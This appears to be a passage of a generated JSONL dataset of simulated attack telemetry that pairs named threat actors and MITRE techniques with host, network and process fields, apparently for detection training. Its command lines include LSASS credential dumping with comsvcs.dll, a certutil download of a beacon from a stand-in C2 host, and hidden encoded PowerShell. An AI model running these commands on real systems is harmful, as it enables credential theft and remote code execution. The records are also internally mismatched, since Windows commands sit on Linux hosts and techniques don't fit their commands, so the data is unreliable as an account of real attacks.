C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-02-03T03:01:08.000Z","user":{"name":"svc_2yzhemjuegfv","sid":"S-1-5-21-247736628-352271499-9818"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Initial Access","Defense Evasion","Command and Control"],"technique_id":"T1531"},"event_id":"evt_apt29_20251213T115354000Z_0005049","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.12.31.201","name":"EC2-INST-MQBO19BYQT","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5049APT29T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.87.189.197","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 752 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-02-20T16:18:25.000Z","user":{"name":"arn:aws:iam::56jeirj4w9td","sid":"S-1-5-21-200242006-131012967-4166"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Credential Access","Execution","Impact"],"technique_id":"T1566.001"},"event_id":"evt_lapsus_20250728T011139000Z_0005051","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.214.91.183","name":"IAM-ROLE-VNKODK9WSQ","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5051Lapsus$T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.68.128.230","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-06-04T18:04:17.000Z","user":{"name":"azuread\\59esr0nct0cf","sid":"S-1-5-21-889110005-541827022-7682"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Impact","Lateral Movement","Command and Control"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20251021T231515000Z_0005053","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.213.114.45","name":"EC2-INST-FU8R0IUNCZ","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5053Volt TyphoonT1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.109.42.6","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"rundll32.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-07-11T10:17:30.000Z","user":{"name":"i-3z4vi1shmrn5","sid":"S-1-5-21-672953307-131299857-6883"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Collection","Privilege Escalation"],"technique_id":"T1098.004"},"event_id":"evt_volttyphoon_20251026T135700000Z_0005055","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.61.73.126","name":"AZURE-VM-AQCC28YTDC","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5055Volt TyphoonT1098.004"},"network":{"domain":"github.com","dst_ip":"1.134.116.163","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-04-28T04:43:50.000Z","user":{"name":"CORP\\z1xxq5pke05q","sid":"S-1-5-21-724568382-241799412-5138"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Collection","Command and Control","Execution"],"technique_id":"T1098.004"},"event_id":"evt_unc4841_20251205T125808000Z_0005057","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["WMI","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.88.7.76","name":"DB-ORACLE-STXEIAX4O4","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5057UNC4841T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.105.94.161","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 812 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-04-03T04:39:01.000Z","user":{"name":"CORP\\xo34wc13np77","sid":"S-1-5-21-637429143-703729452-8458"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Defense Evasion","Reconnaissance","Collection"],"technique_id":"T1021.006"},"event_id":"evt_fin7_20260830T233701000Z_0005059","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.107.89.184","name":"DB-ORACLE-9MRVKFF0K7","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5059FIN7T1021.006"},"network":{"domain":"github.com","dst_ip":"1.53.112.128","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2026-07-11T04:23:48.000Z","user":{"name":"i-1sbvwdntvk9p","sid":"S-1-5-21-679004594-752435497-9642"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Initial Access","Collection","Defense Evasion"],"technique_id":"T1071.001"},"event_id":"evt_fin7_20260210T094034000Z_0005061","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["WMI","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.28.197.241","name":"EC2-INST-SJ5EPEQ1S1","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5061FIN7T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.63.135.32","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-05-27T18:32:12.000Z","user":{"name":"azuread\\aqa0cvqonh76","sid":"S-1-5-21-444076183-169255342-4766"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Reconnaissance","Initial Access","Exfiltration"],"technique_id":"T1531"},"event_id":"evt_apt41_20260819T163226000Z_0005063","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.46.243.232","name":"APP-WEB-0YSGYKDUTK","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5063APT41T1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.87.183.50","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1491 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-12-08T17:10:56.000Z","user":{"name":"svc_b9l5wje94058","sid":"S-1-5-21-685406161-664320434-6676"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Persistence"],"technique_id":"T1531"},"event_id":"evt_scatteredspider_20250320T163229000Z_0005065","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.149.212.123","name":"IAM-ROLE-FV1Y7EHNQI","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5065Scattered SpiderT1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.100.166.163","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-06-05T18:03:47.000Z","user":{"name":"arn:aws:iam::lx31bh4lftlc","sid":"S-1-5-21-421300367-865963942-5805"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Discovery","Collection","Reconnaissance"],"technique_id":"T1098.004"},"event_id":"evt_unc4841_20250319T221204000Z_0005067","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.4.22.156","name":"WIN-FIN-SRV-ILINO8JO23","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5067UNC4841T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.94.56.156","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2005 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-08-05T13:44:16.000Z","user":{"name":"i-5vu3ailttpds","sid":"S-1-5-21-525779173-607719352-7621"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Privilege Escalation"],"technique_id":"T1003.001"},"event_id":"evt_mustangpanda_20261017T151730000Z_0005069","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["WMI","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.207.109.16","name":"APP-WEB-3ZH2SNILA3","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5069Mustang PandaT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.127.11.201","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-06-01T14:31:32.000Z","user":{"name":"svc_61c1vdwkdblr","sid":"S-1-5-21-480782829-449380562-5848"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Lateral Movement","Credential Access","Persistence"],"technique_id":"T1546.003"},"event_id":"evt_mustangpanda_20250217T063500000Z_0005071","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.212.200.31","name":"AZURE-VM-UXKNWUGXDC","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5071Mustang PandaT1546.003"},"network":{"domain":"github.com","dst_ip":"1.131.235.130","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-12-10T22:56:55.000Z","user":{"name":"azuread\\wxa4409v72n3","sid":"S-1-5-21-531819216-425568581-7968"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Command and Control","Discovery"],"technique_id":"T1546.003"},"event_id":"evt_mustangpanda_20250119T154132000Z_0005073","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.201.51.182","name":"EC2-INST-3O31GNNE5D","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5073Mustang PandaT1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.129.208.149","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1010 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-12-17T19:33:44.000Z","user":{"name":"azuread\\so6nojbyi6um","sid":"S-1-5-21-166179341-718316849-9040"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Lateral Movement"],"technique_id":"T1546.003"},"event_id":"evt_apt29_20250919T041554000Z_0005075","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Base64","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.60.190.56","name":"AZURE-VM-CJRLXFPQL1","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5075APT29T1546.003"},"network":{"domain":"github.com","dst_ip":"1.168.66.209","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-01-20T10:53:58.000Z","user":{"name":"arn:aws:iam::tixmnfhpbben","sid":"S-1-5-21-690703955-359764862-1532"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Execution"],"technique_id":"T1484.001"},"event_id":"evt_scatteredspider_20250713T112338000Z_0005077","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.157.52.199","name":"IAM-ROLE-O2X0ERRZ90","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5077Scattered SpiderT1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.153.118.34","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-08-01T23:27:50.000Z","user":{"name":"CORP\\80l0dx5jm78r","sid":"S-1-5-21-258802375-626669153-8957"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Lateral Movement","Initial Access"],"technique_id":"T1484.001"},"event_id":"evt_volttyphoon_20250310T022746000Z_0005079","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.46.249.78","name":"APP-WEB-9LIBOG3090","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5079Volt TyphoonT1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.27.227.191","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-05-05T23:21:28.000Z","user":{"name":"svc_ub5h5a04tj1u","sid":"S-1-5-21-753867129-154859140-4868"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Discovery"],"technique_id":"T1003.001"},"event_id":"evt_apt41_20250925T215419000Z_0005081","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.81.61.15","name":"DB-ORACLE-9Q4SLETEZ0","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5081APT41T1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.177.69.16","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-12-24T03:00:33.000Z","user":{"name":"arn:aws:iam::1pi1x8scdvlp","sid":"S-1-5-21-409907995-470700699-7496"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Privilege Escalation","Command and Control"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20251028T141254000Z_0005083","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.64.236.225","name":"IAM-ROLE-KVMQG0L2UE","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5083APT41T1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.42.217.33","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-12-29T05:11:29.000Z","user":{"name":"arn:aws:iam::ly27u85jyg4q","sid":"S-1-5-21-143980063-493690293-8296"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Execution","Initial Access","Discovery"],"technique_id":"T1484.001"},"event_id":"evt_fin7_20250123T171501000Z_0005085","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.19.198.27","name":"AZURE-VM-UT48B5BG3B","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5085FIN7T1484.001"},"network":{"domain":"github.com","dst_ip":"1.135.61.73","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-05-25T19:26:26.000Z","user":{"name":"azuread\\ajhpn6hkhby7","sid":"S-1-5-21-925288792-257427675-5365"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Persistence","Discovery"],"technique_id":"T1021.006"},"event_id":"evt_apt41_20260426T214255000Z_0005087","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.177.218.62","name":"EC2-INST-91RUVJZ2GA","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5087APT41T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.115.66.215","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2203 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-05-23T00:16:46.000Z","user":{"name":"i-l5d76njhxdxh","sid":"S-1-5-21-496386081-738161612-6789"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Collection","Discovery"],"technique_id":"T1021.006"},"event_id":"evt_lapsus_20260428T113026000Z_0005089","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.43.131.146","name":"IAM-ROLE-B89VZ93D8N","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5089Lapsus$T1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.143.85.141","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3098 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-06-24T20:39:22.000Z","user":{"name":"i-xcis7lzfc7my","sid":"S-1-5-21-584025085-146228066-7756"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Credential Access","Exfiltration","Persistence"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20260212T074227000Z_0005091","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.34.129.167","name":"EC2-INST-UIK12Z3THV","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5091Lapsus$T1059.001"},"network":{"domain":"github.com","dst_ip":"1.144.60.70","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3267 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-01-07T23:07:25.000Z","user":{"name":"arn:aws:iam::0m0rebqm5b9u","sid":"S-1-5-21-298129304-491314503-3468"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Command and Control"],"technique_id":"T1570"},"event_id":"evt_volttyphoon_20250722T064132000Z_0005093","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.22.27.80","name":"AZURE-VM-6QL110JOC4","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5093Volt TyphoonT1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.70.110.189","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-02-11T15:58:16.000Z","user":{"name":"arn:aws:iam::8xfhk1vd6gg3","sid":"S-1-5-21-465218027-197394786-6399"}}
